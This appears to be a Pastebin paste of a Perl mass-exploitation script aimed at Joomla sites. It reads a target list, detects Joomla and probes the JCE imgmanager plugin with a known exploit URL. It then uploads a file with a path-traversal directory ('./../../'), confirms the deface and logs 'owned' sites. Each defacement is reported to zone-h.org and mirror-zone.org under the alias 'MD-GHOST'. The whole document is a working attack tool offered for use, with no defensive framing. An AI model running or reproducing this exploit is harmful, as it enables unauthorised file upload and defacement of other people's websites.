Advertisement
Guest User

Untitled

a guest
Apr 26th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.19 KB | None | 0 0
  1.  
  2.  
  3. use HTTP::Request;
  4. use LWP::UserAgent;
  5. use IO::Select;
  6. use HTTP::Response;
  7. use Term::ANSIColor;
  8. use HTTP::Request::Common qw(POST);
  9. use HTTP::Request::Common qw(GET);
  10. use URI::URL;
  11. use IO::Socket::INET;
  12. use Win32::Console::ANSI;
  13. my $datetime = localtime;
  14. $tmp="tmp";
  15. if (-e $tmp)
  16. {
  17. }
  18. else
  19. {
  20. mkdir $tmp or die "Error creating directory: $tmp";
  21. }
  22.  
  23. $rez="Result";
  24. if (-e $rez)
  25. {
  26. }
  27. else
  28. {
  29. mkdir $rez or die "Error creating directory: $rez";
  30. }
  31.  
  32. $logo='
  33.  
  34. _________ _______ _______
  35. \__ _/( ____ \( ____ \
  36. ) ( | ( \/| ( \/
  37. | | | | | (__
  38. | | | | | __)
  39. | | | | | (
  40. |\_) ) | (____/\| (____/\
  41. (____/ (_______/(_______/
  42.  
  43.  
  44.  
  45. ';
  46.  
  47. print colored("$logo",'yellow');
  48. print "\t";
  49. print colored ("Start At $datetime",'white on_red'),"\n\n";
  50. print "\n\n";
  51. print colored("Enter Your Choose :",'white on_green');
  52. $a = <STDIN>;
  53. chomp $a;
  54. open(tarrget,"<$a") or die "Fuck you where is Website list -_- mafaka \n";
  55. while(<tarrget>){
  56. chomp($_);
  57. $site = $_;
  58. if($site !~ /http:\/\//) { $site = "http://$site/"; };
  59. efrez();
  60. }
  61. sub efrez($site){
  62. $ua = LWP::UserAgent->new(keep_alive => 1);
  63. $ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  64. $ua->timeout (10);
  65.  
  66. my $efreez = $ua->get("$site")->content;
  67. if($efreez =~/<script type=\"text\/javascript\" src=\"\/media\/system\/js\/mootools.js\"><\/script>|Joomla!|Joomla|joomla/) {
  68. print colored("[JOOMLA] $site",'white on_magenta'),"\n\n\n";
  69. open(save, '>>joomla.txt');
  70. print save "$site\n";
  71. close(save);
  72. comjce();
  73. }
  74.  
  75. }
  76.  
  77. sub comjce($site){
  78. print colored ("[COM JCE]",'white on_red');
  79. $ua = LWP::UserAgent->new();
  80. $ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
  81. $ua->timeout(15);
  82.  
  83.  
  84. $exploiturl="/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20";
  85.  
  86. $vulnurl=$site.$exploiturl;
  87. $res = $ua->get($vulnurl)->content;
  88. if ($res =~ m/No function call specified!/i){
  89. print " .................. ";
  90. print color('bold white');
  91. print "[";
  92. print color('reset');
  93. print color('bold green');
  94. print "VULN JCE";
  95. print color('reset');
  96. print color('bold white');
  97. print "] ";
  98. print color('reset');
  99. print "\n[UPLOADING PICTURE]";
  100. my $res = $ua->post($vulnurl,
  101. Content_Type => 'form-data',
  102. Content => [
  103. 'upload-dir' => './../../',
  104. 'upload-overwrite' => 0,
  105. 'Filedata' => ["md.gif"],
  106. 'action' => 'upload'
  107. ]
  108. )->decoded_content;
  109. if ($res =~ m/"error":false/i){
  110.  
  111. }else{
  112. print " ......... ";
  113. print color('bold white');
  114. print "[";
  115. print color('reset');
  116. print color('bold green');
  117. print "PATCHED";
  118. print color('reset');
  119. print color('bold white');
  120. print "] \n";
  121. print color('reset');
  122. }
  123.  
  124. $remote = IO::Socket::INET->new(
  125. Proto=>'tcp',
  126. PeerAddr=>"$site",
  127. PeerPort=>80,
  128. Timeout=>15
  129. );
  130. $def= "$site/md.gif";
  131. $check = $ua->get($def)->status_line;
  132. if ($check =~ /200/){
  133. print " ......... ";
  134. print color('bold white');
  135. print "[";
  136. print color('reset');
  137. print color('bold green');
  138. print "DEFACED";
  139. print color('reset');
  140. print color('bold white');
  141. print "] \n";
  142. print color('reset');
  143. print "[LINK] => $def\n";
  144. open (TEXT, '>>fucked.txt');
  145. print TEXT "[Owned] => $def\n";
  146. close (TEXT);
  147. zoneh();
  148. mirrorzon();
  149. }
  150. }else{print " .................. ";
  151. print color('bold white');
  152. print "[";
  153. print color('reset');
  154. print color('bold red');
  155. print "NOT VULN";
  156. print color('reset');
  157. print color('bold white');
  158. print "] \n";
  159. print color('reset');
  160. }
  161.  
  162. }
  163.  
  164.  
  165. sub zoneh(){
  166. print colored ("[ZONE-H]",'black on_yellow');
  167.  
  168.  
  169. $hack="MD-GHOST";
  170. $zn="http://zone-h.org/notify/single";
  171. $lwp=LWP::UserAgent->new;
  172. $res=$lwp -> post($zn,[
  173. 'defacer' => $hack,
  174. 'domain1' => $def,
  175. 'hackmode' => '15',
  176. 'reason' => '1',
  177. 'submit' => 'Send',
  178. ]);
  179. if ($res->content =~ /color="red">ERROR<\/font><\/li>/) {
  180. print " ...................... ";
  181. print color('bold white');
  182. print "[";
  183. print color('reset');
  184. print color('bold red');
  185. print "ERROR";
  186. print color('reset');
  187. print color('bold white');
  188. print "] \n";
  189. print color('reset');
  190.  
  191. }
  192. elsif ($res->content =~ /color="red">OK<\/font><\/li>/) {
  193. print " ......................... ";
  194. print color('bold white');
  195. print "[";
  196. print color('reset');
  197. print color('bold green');
  198. print "OK";
  199. print color('reset');
  200. print color('bold white');
  201. print "] \n";
  202. print color('reset');
  203.  
  204.  
  205. }
  206. else
  207. {
  208. print colored ("[ERROR !]Error Can't Submit it On Zone-h Gass",'white on_red'),"\n";
  209.  
  210. }
  211. }
  212. sub mirrorzon(){
  213. print colored ("[MIRROR-ZONE]",'black on_yellow');
  214. $mz = "http://mirror-zone.org/notify/singel.php";
  215. $fgtn="MD-GHOST";
  216. $mzp = POST $mz, [hacker => $fgtn, text => $def];
  217. $response = $ua->request($mzp);
  218. if ($response->content =~ /Deface Add successfully added to Archive .../) {
  219. print " .................... ";
  220. print color('bold white');
  221. print "[";
  222. print color('reset');
  223. print color('bold green');
  224. print "OK";
  225. print color('reset');
  226. print color('bold white');
  227. print "] \n";
  228. print color('reset');
  229. }else {
  230. print " ................. ";
  231. print color('bold white');
  232. print "[";
  233. print color('reset');
  234. print color('bold red');
  235. print "ERROR";
  236. print color('reset');
  237. print color('bold white');
  238. print "] \n";
  239. print color('reset');
  240. }
  241. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement